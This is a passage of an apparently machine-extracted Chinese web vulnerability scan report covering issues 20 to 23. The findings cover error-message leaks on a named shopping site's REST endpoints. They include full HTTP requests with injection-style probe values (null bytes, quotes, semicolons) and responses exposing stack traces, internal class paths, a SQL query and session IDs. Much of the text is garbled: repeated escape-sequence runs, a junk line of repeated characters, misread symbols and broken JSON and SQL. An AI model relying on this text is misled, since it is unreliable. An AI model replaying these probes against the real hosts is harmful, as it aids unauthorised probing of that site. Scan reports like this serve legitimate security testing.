\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\
   "basegoodsimgurl": "",
   "dtlgoodsimgurl.": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:36 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Unrecognized field "dtlgoodsimgurl." (Class com.suneee.scn.goods.model.dbo.PubGoodsDO), not
marked as ignorable
  at [Source: io.netty.buffer.ByteBufInputStream@69309690; line: 1, column: 624] (through
reference chain: com.suneee.scn.goods.model.dbo.PubGoodsDO["dtlgoodsimgurl."])
```

变体-|2/2

差异: 参数 从以下位置进行控制: (->"dtlgoodsimgurl") 至: ORIG VAL []

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/goodsAddToSave HTTP/1.1
Content-Length: 626
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "goodsname": "werdhgf",
 "goodstype": "0",
 "goodscode": "0200202",
 "goodsid": "",
 "status": "1",
 "goodsclassid": "2702",
 "goodsclassname": "\u529e\u516c\u8017\u6750",
 "goodsclassnameek": "02",
 "goodsspec": "hh",
 "goodsmodel": "resadsa",
 "baseprice": "999",
 "goodsunit": "gechi",
"brandname": "dsfdsafsa",
```

```
"brandid": "",
 "opcode": "",
"barcode": "rewqrewq",
 "approvaltypeid": "1",
 "gsbmid": "3",
 "level": "4",
 "goodslevelid": "3",
 goodsfeetid: 3 ,,
"inputmanname": "\u8d44\u6e90\u5546\u57ce\u6d4b\u8bd501",
"inputmanid": "2",
 "bookindateStr": "2018-01-11 18:55:56",
"goodsimgurl": " http://cms.mall.xt.weilian.cn/d/4050941e4e7cba7c418d26267922015f",
 "basegoodsimgurl": "",
 "dtlgoodsimgurl[]": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:36 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Unrecognized field "dtlgoodsimgurl[]" (Class com.suneee.scn.goods.model.dbo.PubGoodsDO), not
marked as ignorable
at [Source: io.netty.buffer.ByteBufInputStream@396958c4; line: 1, column: 625] (through
reference chain: com.suneee.scn.goods.model.dbo.PubGoodsDO["dtlgoodsimgurl[]"])
```

问题 20 / 43 Toc

应用程序错误	
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/exportGoodsInfo
实体:	goodscode (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

差异: 参数 从以下位置进行控制: - 至: 800

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?
goodsids=&goodsname=&opcode=&goodscode=&00&gsbmid=&approvaltypeid=&goodslevelid= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
```

```
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:33 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
### Error querying database. Cause: org.postgresql.util.PSQLException: ERROR: invalid byte
sequence for encoding "UTF8": 0x00
### The error may exist in URL [jar:file:/apps/rest/goods/vr-goods-rest-enterprise-1.0.0-
SNAPSHOT.jar!/mybatisMap/PubGoodsMapper.xml]
### The error may involve com.suneee.scn.goods.dao.PubGoodsDao.selectReportList-Inline
### The error occurred while setting parameters
### SQL: select goodsid, pg.enterpriseid, enterprisecode, goodscode, opcode, goodsname,
goodstype, departmentid, goodsunit, goodsspec, goodsmodel, brandid, specmodel, factoryid, prodarea, inputmanid, bookindate, pg.status, priceflag, stupperlimit, stlowerlimit, barcode,
classcodeflag, smallscaleflag, lastupdateerid, lastupdateername, lastupdatedate,
goodsclassid, taxinprice, intax, baseprice, wsaleprice, wdis, o2osaleprice, tmallsaleprice,
saleprice, minprice,
                         outtax, memo1, memo2, memo3, memo4, inputmanname, factoryname,
notaxprice, sendstatus, warehouseid, supplierid, pgc.classname
classname,pg.goodslevelid,pg.approvaltypeid,pg.gsbmid, case when pat.approvaltypename is null
then '不审批' else pat.approvaltypename end approvaltypename,pggb.gsbmname,pg.level
pub_goods pg
                    LEFT JOIN pub_goodsclass pgc ON pg.goodsclassid = pgc.classid
                                                                                                and
                                            LEFT JOIN pub_approval_type pat ON
pgc.status=1 and pgc.enterpriseid = ?
pat.approvaltypeid = pg.approvaltypeid
                                                 LEFT JOIN pub_goodsgsbm pggb ON pggb.gsbmid =
pg.gsbmid WHERE pg.status >= 1 and pg.enterpriseid = ? concat('%',?,'%') ORDER BY pg.bookindate desc, pg.lastupda
                                                                             and pg.goodscode like
                           ORDER BY pg.bookindate desc , pg.lastupdatedate desc
### Cause: org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding "UTF8":
0x00
; SQL []; ERROR: invalid byte sequence for encoding "UTF8": 0x00; nested exception is
org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding "UTF8": 0x00
```

问题 21 / 43 Toc

应用程序错误	
严重性:	参考
CVSS 分数:	0.0
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/order/selectCmsOrderList/2
实体:	pageNum (Parameter)
Λп.	pagerum (raiameter)
风险:	可能会收集敏感的调试信息

变体-|1/5

差异: 参数 从以下位置进行控制: ① 至: 😵00

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/2?pageNum=%00&pageSize=15&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5confiq-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:54 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: " "
```

变体-|2/5

差异: 参数 从以下位置进行控制: 1 至: 1xyz

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/2?pageNum=1XYZ&pageSize=15&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "1XYZ"
```

变体-|3/5

差异: 参数 从以下位置进行控制: 1 至: 827

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 测试请求和响应:

```
GET /order/selectCmsOrderList/2?pageNum=%27&pageSize=15&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5confiq-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "'"
```

变体-|4/5

差异: 参数 从以下位置进行控制: ① 至: ;;

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/2?pageNum=;&pageSize=15&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: close
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ";"
```

变体-|5/5

差异: 参数 从以下位置进行控制: ① 至: ①

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/2?pageNum=) &pageSize=15&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: \star
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ")"
```

问题 **22 / 43** Toc

应用程序错误	
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/exportGoodsInfo
实体:	approvaltypeid (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

变体-|1/4

差异: 参数 从以下位置进行控制: — 至: 😵00

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

GET /goodsRestApi/exportGoodsInfo?

```
\verb|goodsids=&goodsname=&opcode=&goodscode=&gsbmid=&approval typeid=&00&goodslevelid= \verb| HTTP/1.1| | The provided by the provi
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:54 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: " "
```

变体-|2/4

差异: 参数 从以下位置进行控制: — 至: §27

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "'"
```

变体-|3/4

差异: 参数 从以下位置进行控制: — 至: ;

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 **测试请求和响应:**

1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1 | 1/2/1

```
GET /goodsRestApi/exportGoodsInfo?
goodsids=&goodsname=&opcode=&goodscode=&gsbmid=&approvaltypeid=;&goodslevelid= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: close
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ";"
```

变体-|4/4

差异: 参数 从以下位置进行控制: -至:)

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?
goodsids=&goodsname=&opcode=&goodscode=&gsbmid=&approvaltypeid=)&goodslevelid= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ")"
```

问题 23 / 43 Toc

应用程序错误	
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/goodsbatchDelete
实体:	->"goodsInfos"[0]->"goodsid" (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

变体-|1/9

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/goodsbatchDelete HTTP/1.1
Content-Length: 40
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsInfos": [
                 "goodsid": "
                                  105172XYZ"
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:46 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '105172XYZ': not a valid Long
at [Source: io.netty.buffer.ByteBufInputStream@70a8f233; line: 1, column: 17] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsDTO["goodsInfos"]-
>com.suneee.scn.goods.model.dbo.PubGoodsDO["goodsid"])
```

变体-|2/9

差异: 参数 从以下位置进行控制: ->"goodsInfos"[0]->"goodsid" 至: __ORIG_VAL_.

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/goodsbatchDelete HTTP/1.1
Content-Length: 36
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsInfos": [
                 "goodsid.": 105172
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:46 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Unrecognized field "goodsid." (Class com.suneee.scn.goods.model.dbo.PubGoodsDO), not marked as
ignorable
at [Source: io.netty.buffer.ByteBufInputStream@3fffd2d9; line: 1, column: 34] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsDTO["goodsInfos"]-
>com.suneee.scn.goods.model.dbo.PubGoodsDO["goodsid."])
```

变体-|3/9

差异: 参数 从以下位置进行控制: [0]->"goodsInfos"[0]->"goodsid" 至: ORIG VAL []

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
Server: openresty
Access-Control-Allow-Methods: GET,POST,HEAD,PUT,DELETE,OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:46 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Unrecognized field "goodsid[]" (Class com.suneee.scn.goods.model.dbo.PubGoodsDO), not marked as ignorable
at [Source: io.netty.buffer.ByteBufInputStream@652e71a2; line: 1, column: 35] (through reference chain: com.suneee.scn.goods.model.dbo.PubGoodsDTO["goodsInfos"]-
>com.suneee.scn.goods.model.dbo.PubGoodsDO["goodsid[]"])
```

变体-|4/9

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/goodsbatchDelete HTTP/1.1
Content-Length: 32
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsInfos": [
                 "goodsid": "'"
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:46 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value ''': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@71d10804; line: 1, column: 17] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsDTO["goodsInfos"]-
>com.suneee.scn.goods.model.dbo.PubGoodsDO["goodsid"])
```

变体- | 5 / 9

差异: 参数 从以下位置进行控制: 105172 至: (1)

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/goodsbatchDelete HTTP/1.1
Content-Length: 34
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
